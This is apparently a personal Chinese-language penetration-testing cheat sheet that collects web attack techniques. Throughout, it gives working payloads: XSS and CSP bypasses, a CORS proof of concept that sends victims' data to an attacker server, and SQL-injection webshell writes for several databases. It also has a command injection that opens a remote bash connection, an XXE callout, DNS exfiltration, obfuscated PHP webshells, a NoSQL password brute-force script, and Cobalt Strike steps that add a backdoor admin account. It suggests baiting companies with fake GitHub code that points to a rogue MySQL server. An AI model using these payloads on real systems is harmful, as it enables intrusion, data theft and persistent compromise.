声明:此文章为平时学习积累的知识索引,会大量引用大佬们的东西
并且会持续更新……
知识补充
备忘
1 | #certutil |
docker备忘
docker save和docker export的区别
总结一下docker save和docker export的区别:
- docker save保存的是镜像(image),docker export保存的是容器(container);
- docker load用来载入镜像包,docker import用来载入容器包,但两者都会恢复为镜像;
- docker load不能对载入的镜像重命名,而docker import可以为镜像指定新名称。
密码学知识
md5
md5详解:https://github.com/corkami/pocs/blob/master/collisions/README.md
信息收集
域名搜集
存在网站abc.com搜集下列网站信息1
2
3
4
5 abc-inc.com
*.corp.abc.com
*.intra.abc.com
abc-corp.com
abc-ltd.com
archive.org
http://web.archive.org/cdx/search/cdx?url=xxxxxxxxxxx.com/*&output=json&fl=original&collapse=urlkey
或者使用脚本
archives
google && github hack
1 | site:Github.com smtp @qq.commit |
端口扫描
nmap -sS -O -sV -iL ~/Desktop/url.txt -p 20,21,22,23,24,25,53,67,68,69,79,80,81,82,83,84,85,86,87,88,89,109,110,111,137,138,139,143,161,210,389,443,465,512,513,514,546,873,993,994,995,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1158,1352,1433,1434,1521,2049,2181,2222,2888,3306,3307,3308,3389,3690,3700,3888,4040,4100,4200,4443,4444,4445,4848,5000,5006,5432,5601,5632,5900,5901,5902,5903,5904,5905,6379,7001,7077,7180,7181,7182,8000,8480,8485,8888,9000,9080,9092,9300,9418,10000,10020,11211,18080,19888,50470,50475,60000,60010,60020,60030,9093,27017,27018,27019,50010,50011,50012,50013,50014,50015,50016,50017,50018,50019,50020,50021,50022,50023,50024,50025,50026,50027,50028,50029,50030,50031,50032,50033,50034,50035,50036,50037,50038,50039,50040,50041,50042,50043,50044,50045,50046,50047,50048,50049,50050,50051,50052,50053,50054,50055,50056,50057,50058,50059,50060,50061,50062,50063,50064,50065,50066,50067,50068,50069,50070,50071,50072,50073,50074,50075,50076,50077,50078,50079,50080,50081,50082,50083,50084,50085,50086,50087,50088,50089,50090,9094,9095,9096,9097,9098,9099,9100,9101,9102,9103,9104,9105,9106,9107,9108,9109,9110,9111,9112,9113,9114,9115,9116,9117,9118,9119,9120,9121,9122,9123,9124,9125,9126,9127,9128,9129,9130,9131,9132,9133,9134,9135,9136,9137,9138,9139,9140,9141,9142,9143,9144,9145,9146,9147,9148,9149,9150,9151,9152,9153,9154,9155,9156,9157,9158,9159,9160,9161,9162,9163,9164,9165,9166,9167,9168,9169,9170,9171,9172,9173,9174,9175,9176,9177,9178,9179,9180,9181,9182,9183,9184,9185,9186,9187,9188,9189,9190,9191,9192,9193,9194,9195,9196,9197,9198,9199,9200,9443,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015,8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031,8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047,8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8161,8443,10001 -v -T4 -Pn -oA ~/Desktop/result
add1
2
312001、12002、12003、8080、8090、3003
11111、62818、54467
49242
TCP SYN SCAN
CDN
CDN绕过查找真实ip
https://vorders.me/2018/11/15/%E7%BB%95%E8%BF%87%E4%BA%91waf%E6%89%BE%E7%9C%9F%E5%AE%9Eip/
信息泄露
git泄露
- SHA-1:hash大小为160位,计算长度为40位
- 确定.git泄露存在与否,确认接收到请求是否为403(若为则存在)
1 | object对象 |
- Id(sha1编码过)的前2个字母是目录名,后38个字母是文件名。
对于sha1:d16ecb17678b0297516962e2232080200ce7f2b3
存在以下目录:1
http://xdsec-cms-12023458.xdctf.win/.git/objects/d1/6ecb17678b0297516962e2232080200ce7f2b3
详细内容查看:http://gitbook.liuhui998.com/1_2.html
文件模式查看:https://stackoverflow.com/questions/737673/how-to-read-the-mode-field-of-git-ls-trees-output
P牛对于git泄露的详解:https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
svn 泄露
工具:1
2git clone https://github.com/admintony/svnExploit.git
python .\SvnExploit.py -u http://xx.xx.xx.xx/.svn --dump
BAZAAR 泄露
1 | git clone https://github.com/SeahunOh/bzr_dumper |
api key 泄露
阿里oss
地址:http://xxxxx.aliyuncs.com/1
2
3
4accessKeyId: 'xxx',
accessKeySecret: 'xxx',
bucket: 'xxx',
host: 'xxx'
使用ossbrowser进行连接
获取思路:
- 公开的托管代码库中存放AccessKey(源码泄漏问题)
- APK文件中的配置文件存放AccessKey(反编译后可搜索)
- WEB应用中的配置文件存放AccessKey(低权限webshell可访问)
利用思路:
- 第三方WEB管理平台
- 本地管理工具(如ossbrowser、ossutil)
- 编程调用官方提供的API
漏洞挖掘
PHP
cms 漏洞挖掘
php 审计入门:https://xz.aliyun.com/u/10394
验证码漏洞
- 验证码字符可控
- 验证码使用后未销毁
- 验证码存放位置暴露
- 验证码使用弱加密
- 验证码对比后未跳出/销毁
- 验证码尺寸可控导致ddos
文件包含(LFI) bypass
1 | ./../ |
zip或phar协议包含文件
适用于上传文件被强制追加后缀
如:a.php
->a.php.jpg
此时存在文件包含漏洞
上传一个zip压缩包(php.zip),里面文件为(a.php)
利用zip伪协议去包含文件http://127.0.0.1/file.php?file=zip://php.zip.jpg%23a.php
包含shell的临时文件如何寻找
- phinfo 查看文件临时保存地址/文件名
- window/linux通配符寻找
在linux中,每个进程都有一个PID,而/proc/xxx/下存放着与该进程相关的信息(这里的xxx就是PID)。/proc/xxx/下的cwd是软链接,self表示本进程。当我们通过访问Apache运行的网站时,/proc/self/cwd/就相当于apache的根目录,例如我本机Apache的根目录是/var/www/html
反序列化
PHP反序列化标识符含义
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
private属性需要在字段两边+%00
preg_replace()报错会返回NULL
常见魔术方法:1
2
3
4
5
6
7
8
9__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
详细:
php反射调用
xpath 注入
工具:xcat
web缓存欺骗攻击
攻击三要素:
- 访问http://127.1/a.php/b.css 时返回a.php内容
- 无cache头,
- 受害者已登录
易存在漏洞的框架:
- PHP
- Django
- ASP.NET # FriendlyURLs关闭时
- Cloudflare
- IIS ARR
- NGINX #配置了缓存规则
1 | 1. attacker使用社工方式让victimer访问该页面: https://victim/messages/home/non-existent.css |
poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32<html>
<head>
</head>
<body>
<script>
var cachedUrl = 'https://www.【漏洞网站】.com/' + generateId() + '.css';
const popup = window.open(cachedUrl);
function generateId() {
var content = '';
const alphaWithNumber = 'QWERTZUIOPASDFGHJUKLYXCVBNM1234567890';
for (var i = 0; i < 10; i++) {
content += alphaWithNumber.charAt(Math.floor(Math.random() * alphaWithNumber.length))
}
return content;
}
var checker = setInterval(function() {
if (popup.closed) {
clearInterval(checker);
}
}, 200);
var closer = setInterval(function() {
popup.close();
document.body.innerHTML = 'Victims content is now cached <a href="' + cachedUrl + '">here and the url can be saved on the hackers server</a><br><b>Full Url: ' + cachedUrl + '</b>';
clearInterval(closer);
}, 3000);
</script>
</body>
</html>
https://drive.google.com/file/d/0BxuNjp5J7XUIdkotUm5Jem5IZUk/view
xss
1 | javas%0acript://%250aalert(1) |
更详细的bypass:https://medium.com/@man.shum546/xss-payload-2018-5271c5e3bbce
各种技巧
style xss1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16style animation引申
寻找css中使用animation的方法
如bootstrap中的
- spinner-grow
- spinner-border
- progress-bar-stripes
animation事件
- animationcancel
- onanimationstart
- onanimationend
- animationiteration
<p style="animation-name:spinner-grow" onanimationend="alert(1)"></p>
参考:https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement
mxss<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
详细:https://research.securitum.com/dompurify-bypass-using-mxss/
绕jsonp1
2<script>function getdata(data){alert(JSON.stringify(data));}</script>
<script src="http://xxxx.com/?callback=getdata"></script>
1 | <script/src=?url=alert(1)></script> |
bypass xss auditor
1 | %FF%FE%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00%28%001%00%29%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00 |
瞄点xss1
2<details open ontoggle="alert(1)">
id='a' contenteditable onfocus="alert(1)"#a
https://html5sec.org/#145
https://github.com/cure53/XSSChallengeWiki/wiki/Mini-Puzzle-1-on-kcal.pw
开启页面缓存 Pragma: cache
ie 11 对于强制json xss的bypass1
2
3
4
5
6
7
8低版本ie 不会的referer进行url编码
----会传送referer
https->https
http->https
http->http
----不会传送refer
https->http
针对hidden 的xss1
2
3
4
5
6分为漏洞处在hidden前或后
前:
可以覆盖type为其他的,`<input value="a" src=1 onerror=alert(1) type="image" type="hidden">`
后:
只能通过间接的方式来触发,比如大家熟知的`'<input type="hidden" name="returnurl" value="" accesskey="x" onclick="alert(1)" />`,然后按shift+alt+x触发xss,但是还可以这样操作,无交互的触发xss,相比起来已经是无限制了,` style='behavior:url(?)'onreadystatechange='alert(1)' `
> https://blog.csdn.net/u014345860/article/details/77351760
[+]location1
2
3<img src=x onerror=location="javascript:alert%281%29">
<img src=x onerror=location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">
<img src=x onerror=Function(location.hash.slice(1))()>#alert(1)
详细:
https://www.leavesongs.com/PENETRATION/use-location-xss-bypass.html
[+]//和\\
绕过
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\
在Windows下是file协议,在linux下才会是当前域的协议
//test.com/1.js1
unescape('%2f%2ftest.com%2f1.js')
[+]Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
[+]过滤括号
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
[+] 编码绕过
1 | #html |
[+] csp bypass
CSP Bypass
1 | Check the CSP on https://csp-evaluator.withgoogle.com and the post : How to use Google’s CSP Evaluator to bypass CSP |
xss in markdown/SVG/XML/files
markdown1
2
3
4[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
svg1
2
3
4<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
self-xss的利用
ctf中常见xss读文件
1 | <svg/onload=" |
CORS学习
bypass1
2Origin: null
unicode攻击
一般来说存在如下头,表示存在cors漏洞Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
在Credentials为false的情况下,使用浏览器缓存绕过Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
1
2
3
4
5
6
7
8
9<html>
<script>
var url = "https://api.a.com/x/wd?c=web";
fetch(url, {
method: 'GET',
cache: 'force-cache'
});
</script>
</html>
强烈推荐:
https://xz.aliyun.com/t/2745
https://github.com/amandakelake/blog/issues/62
结合例子:
https://www.freebuf.com/articles/web/158529.html
实战过程遇到的例子
给出验证poc
受害者先登录漏洞网站,攻击者诱导受害者运行下列代码/(通过配合xss 或 直接放自己服务器上让受害者访问网页)1
2
3
4
5
6
7
8
9
10
11
12<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
var sendData = {"query":"query handleGetPersonalAssets {\n getPersonalAssets {\n phone\n redAvailable\n totalTickets\n __typename\n }\n}\n"};
req.open("POST","https://漏洞网站/api",true);
req.setRequestHeader('content-type', 'application/json');
req.withCredentials = true;
req.send(JSON.stringify(sendData));
function reqListener() {
location="http://自己服务器地址/?////////////="+this.responseText;
};
</script>
防御方式
https://blog.csdn.net/weixin_41646716/article/details/85070981
sockets 攻击
默认本地监听8000端口python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
message.txt填入模板,需要fuzz的地方使用[FUZZ]关键词{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}
和sqlmap联动sqlmap -u http://127.0.0.1:8000/?fuzz=test
SSO 单点登录
SAML 注入
待续…….
OAuth
bypass1
2
3unicode攻击
@欺骗
\/
重定向到恶意地址来获取sso的token1
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
重定向支持解析html1
https://www.example.com/signin/authorize?[...]&redirect_uri=<img src=1 onerror=alert()>
apk或ios应用反编译中包含OAuth私钥
思路扩展:
- client_id与redirect_uri绑定将不存在此漏洞(以腾讯为例client_id=1002723021为 xxx.com域名的服务id,此时遍历redirect_uri确定允许范围,一般为二级或三级域)
2.1 假设存在二级域的文件上传(由于是oss,不能上传webshell,只能上传html页面,在html页面写入重定向到自己服务器,自己服务器上能接收到referer信息,其中就能包含oauth token
2.2 Discuz 发帖在图片地址栏填入我们的恶意服务器,用来接收受害者code
LaTeX 注入
1 | \input{/etc/passwd} #读文件 |
csv 注入
examples:UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5", 240
1 | # pop a calc |
no sql
待补充……
工具:https://github.com/codingo/NoSQLMap
认证绕过,使用$ne和$gt1
2
3
4
5
6
7
8username[$ne]=toto&password[$ne]=toto
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
匹配密码长度:
username[$ne]=toto&password[$regex]=.{3}
username[$ne]=toto&password[$regex]=md.{1}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
盲注jio本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username='admin'
password=''
u='http://example.org/login'
while True:
for c in string.printable:
if c not in ['*','+','.','?','|', '#', '&', '$']:
payload='?username=%s&password[$regex]=^%s' % (username, password + c)
r = requests.get(u + payload)
if 'Yeah' in r.text:
print("Found one more char : %s" % (password+c))
password += c
工具:https://github.com/youngyangyang04/NoSQLAttack
GraphQL 注入
1 | query { |
mysql
tips1
2sleep() 等价于 benchmark()
mid()substring() 等价于 substr()
报错
1 | mysql> select pow(2,1024); |
order by 盲注
1 | select * from users where id=1 union select 1,2,'a' order by 3 |
子查询
1 | select `3` from (select 1,2,3 from union select * from users)x |
dns 通道的盲注
条件:
- windows
- 有file_priv权限,且load_file不被过滤
- secure_file_priv 不为NULL
1 | select load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),'.xxxxx.ceye.io\\abc')) |
mysql 客户端文件读取
详解:mysql 蜜罐
引申:
curl gopher mysql攻击
只要我们把这个恶意的服务开在 3306 端口上,自然会有全球各地的扫描器来光顾,不光能读到一些客户端文件,还能接收到很多各类后门挖矿 payload,不过这只是常规操作。
近两年来,各大厂商都开始做自己的 GitHub 代码监控,防止内部代码泄露,借着这一点,更猥琐的思路是在 GitHub 上传包含各大厂商特征的假代码,在其 MySQL 配置中加上我们恶意服务的地址和端口,这样当厂商监控到 GitHub 的代码,大概翻一下就可以发现配置文件中的数据库密码,一般人都会去连接一下,此时……
1 | #coding=utf-8 |
https://github.com/allyshka/Rogue-MySql-Server
https://lightless.me/archives/read-mysql-client-file.html
https://xz.aliyun.com/t/3277#toc-5
sql bypass方法
1 | ///.js? |
- 更改请求类型
get参数改成上传参数
使用上传包绕waf
1 | POST /vulnerabilities/sql.php HTTP/1.1 |
更改content-type头
1
2
3
4
5POST /vulnerabilities/sql.php HTTP/1.1
Host: x
Content-Type: multipart/form-data;boundary=---------------------------274591138927562
id=1 unionchunked攻击
1 | POST /vulnerabilities/sql.php HTTP/1.1 |
常规
通过独有函数判断数据库类型
1 | access asc chr len #access-functions #exists(select*from msysobjects)判定access数据库 |
sql注入getshell1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25mysql
select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'
Sql server
存储过程xp_cmdshell
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\\WWW\\2333.aspx' ;--
Oracle
1、创建JAVA包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
2、JAVA权限
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
3、创建函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
URL执行
id=602'||utl_inadd.get_host_name((select LinxRUNCMD('cmd /c dir d:/') from dual))--
postgresql
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
sqlite3
;attach database 'D:\\www\\008.php' as tt;create TABLE tt.exp (dataz text) ; insert INTO tt.exp (dataz) VALUES (x'3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e');
redis
%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml2F%0D%0Aconfig%20set%20dbfilename%20shell%2Ephp%0D%0Aset%20x%2022%3C%3Fphp%20phpinfo%28%29%3B%%203F%3E%22%0D%0Asave%0D%0A
XXE bypass
1 | #utf-7 bypass |
soap xxe
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
doc或xlsx包含xxe
xlsx和doc文件利用xxe:工具https://github.com/BuffaloWill/oxml_xxe$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx
Archive: ../XXE.xlsx
inflating: xl/drawings/drawing1.xml
inflating: xl/worksheets/sheet1.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/sharedStrings.xml
inflating: xl/styles.xml
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: _rels/.rels
inflating: [Content_Types].xml
添加payload到xl/workbook.xml1
2
3
4<xml...>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]>
<x>&xxe;</x>
<workbook...>
重新打包1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17$ zip -r ../poc.xslx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)
其他
文件上传
1 | php : .jpg.php 、 .php5 、 .pHt 、 .pgif |
文件上传使用oss存储
- 上传html配合js进行钓鱼
- 如果该域名在跨域传输允许里,靠该html接收跨域信息
- 可以上传shtml来读取文件。
1
2
3
4shtml用的是SSI指令,SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可。
<!--#include file="/home/www/xxxxx/index.html"--> //可以用来读文件
<!--#exec cmd="ifconfig"--> //可以用来执行命令
<!--#include virtual="/includes/header.html" --> //也是读文件 与FILE不同他支持绝对路径和../来跳转到父目录 而file只能读取当前目录下的
文件上传 bypass
1 | apache |
多文件上传 bypass方法1
2
3
4
5
6
7
8
9
10
11------------128137731
Content-Disposition:form-data;name="file";filename="1.txt";
Content-Type:text/plain
hello
------------128137731
Content-Disposition:form-data;name="file";filename="1.php";
Content-Type:text/plain
= phpinfo();
------------128137731
来自常见的几种上传bypass.list
使用说明:
1.使用burpsuite里intruder
2.选中上传内容添加关键词
3.在payload processing中的match/replace添加
match regex填upload_file
replace with填原本请求包里的字段
4.重复上述3操作添加\n为%0a后,再于相同地方的decode中添加url-decode
5.将payload encoding中的url-encode these characters勾勾去掉
文件下载:upload_fuzz
下列只针对php的GD渲染库:
[Q]GD渲染 bypass:
[A]jpg生成脚本
[U] 详情看脚本注释:php jpg_payload.php xxx.jpg
rest test
1 | $ git clone https://github.com/flipkart-incubator/Astra.git |
nodejs
bypass1
{"user":"name","passwd":"password"}修改类型为{"user":[0],"passwd":[0]}
JavaScript 原型链污染
修改函数的原型,导致类/对象被定义时引入恶意代码
例子:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
详细:
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
python
ssti
Accessing parameters
In most examples we used request.args to access GET parameters, but there are other dictionaries that can be populated with custom values:
GET: request.args
Cookies: request.cookies
Headers: request.headers
Environment: request.environ
Values: request.values
The following notations can be used to access attributes of an object:
request.class
request["class"]
request|attr("class")
Elements of arrays can be accessed with:
array[0]
array.pop(0)
flask session漏洞
- flask验证码绕过漏洞
- Codeigniter 2 session伪造及对象注入漏洞
- 签名使用hash函数而非hmac函数,导致利用hash长度扩展攻击来伪造session
- 任意文件读取导致密钥泄露,进一步造成身份伪造漏洞或反序列化漏洞
- 如果客户端session仅加密未签名,利用CBC字节翻转攻击,我们可以修改加密session中某部分数据,来达到身份伪造的目的
[U]python xx.py "加密的session"
p神脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
https://www.leavesongs.com/PENETRATION/client-session-security.html
格式化字符串
利用原理:1
2
3
4
5
6"{username}".format(username='phithon') # 普通用法
"{username!r}".format(username='phithon') # 等同于 repr(username)
"{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678,保留两位小数
"int: {0:d}; hex: {0:#x}; oct: {0:#o}; bin: {0:#b}".format(42) # 转换进制
"{user.username}".format(user=request.username) # 获取对象属性
"{arr[2]}".format(arr=[0,1,2,3,4]) # 获取数组键值
利用方法:http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
详细参考:
https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
https://github.com/shiyanlou/seedlab/blob/master/formatstring.md
f修饰符与任意代码执行
python >3.6
利用原理:f'xxxx'
相当于php里${}
可直接将字符串转换为代码执行
例:print(f"{__import__('os').system('dir')}")
redirect
1 | https://evil.ca/c.office.com =>>> https://evil.ca/c.office.com |
hadoop
模块 | 节点 | 默认端口 |
---|---|---|
HDFS | NameNode | 50070 |
HDFS | SecondNameNode | 50090 |
HDFS | DataNode | 50075 |
HDFS | Backup/Checkpoint node | 50105 |
MapReduce | JobTracker | 50030 |
MapReduce | TaskTracker | 50060 |
https://www.alibabacloud.com/forum/read-848
https://www.4hou.com/technology/3787.html
漏洞利用
权限提升
waf bypass
命令注入(linux)
1 | /???/?c.??????????? -e /???/b??h 2130706433 1337 |
命令注入(windows):
1 | 127.0.0.1|i^d |
命令注入 bypass技巧汇总
关键词过滤
[+]绕过姿势:?
、*
、正则
、$*
、$@
、$x(x代表1-9)
、${x}
、变量
、"
、'
1 | w'h'o'am'i |
空格过滤
[+]绕过姿势:<
、>
、$IFS
1 | cat<>./flag |
空白,链接字符绕过
1 | %0a(\n) |
n > file分段写入
1 | # generate `ls -t>g` file |
1 | curl xxx -d `ls` |
进制编码
- 进制编码
linux下使用xxd(16进制)1
2echo "ls" | xxd -p
echo "6c730a" | xxd -r -p | bash
windows下使用certutil1
certutil -encode 1.txt 2.txt
- curl 进制转换的ip
1 | http://127.1 |
基于时间
1 | time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi |
多语言命令注入
1 | 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} |
SSRF(bypass)
1 | ping 0--1.ipv6-literal.net # ipv6绕过 |
- ssrf 接xss
- ssrf调用接口
- 思路扩展:任意文件读取下可以试下是否可以ssrf,通过http协议访问阿里云的元数据接口,查看是否有ak,sk,这样可以获取oss的存储权限。
1
2
3
4
5
6
7
8
9
10
11# 调用Alibaba
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
# 调用docker
http://127.0.0.1:2375/v1.24/containers/json
Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
CRLF bypass
1 | %E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE |
- %E5%98%8A = %0A = \u560a
- %E5%98%8D = %0D = \u560d
- %E5%98%BE = %3E = \u563e (>)
- %E5%98%BC = %3C = \u563c (<)
https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
https://github.com/swisskyrepo/PayloadsAllTheThings
重定向 bypass
1 | www.白名单网站.com.evil.com #使用白名单网站绕过白名单网站 |
后门
使用:冰蝎免杀
webshell免杀(PHP)
1 | +----------------+-----------------+----------------+----------------+ |
姿势:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19`$_GET[1]`
include$_GET[1];#https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
#/?1[]=a&1[]=phpinfo()&2=assert =usort(...$_GET);
${(system)(id)}
${(system)/**/(ls)}
(system)(whoami);
(ass.(er).t)(phpinfo());
"\x61\x73\x73\x65\x72\x74"(phpinfo());
get_defined_functions()[internal][555](ls)
var_dump((substr)(__FILE__,0,-19));
<script language="php">phpinfo();@eval($_GET[_]);</script>
base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})
if:1)$GLOBALS['_G'.'ET'][sky]($GLOBALS['_G'.'ET'][cool]);die();//}{end if} ={
$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})
namespace c;\eval(phpinfo());#命名空间定义同名,程序调用时优先调用命名空间的同名函数 =
详细:
https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html
https://blog.zeddyu.info/2019/02/28/Some-Tricks-of-Bypass-php-waf/
1 | echo `ls` = `ls` 相当于 |
1 | =#---------- |
cs入门
windows下运行teamserver
https://evi1cg.me/archives/teamserver.html
cs简单易上手的攻略
https://boombao.net/2019/09/04/cobalt-strike-1/
完整学习:
https://github.com/aleenzz/Cobalt_Strike_wiki
argue污染1
2
3
4
5
6
7
8argue net1 helloworld
argue
run net1 user guest /active:yes
run net1 user guest %$83ScA1
run net1 localgroup administrators guest /add
net user guest
rdesktop -u administrator 127.0.0.1:6666 -p c1z*W5 #rdesktop连接3389
同理可以污染其他argue powershell.exe xxxxxxxxxxxxxxxxxxxxxxxxx
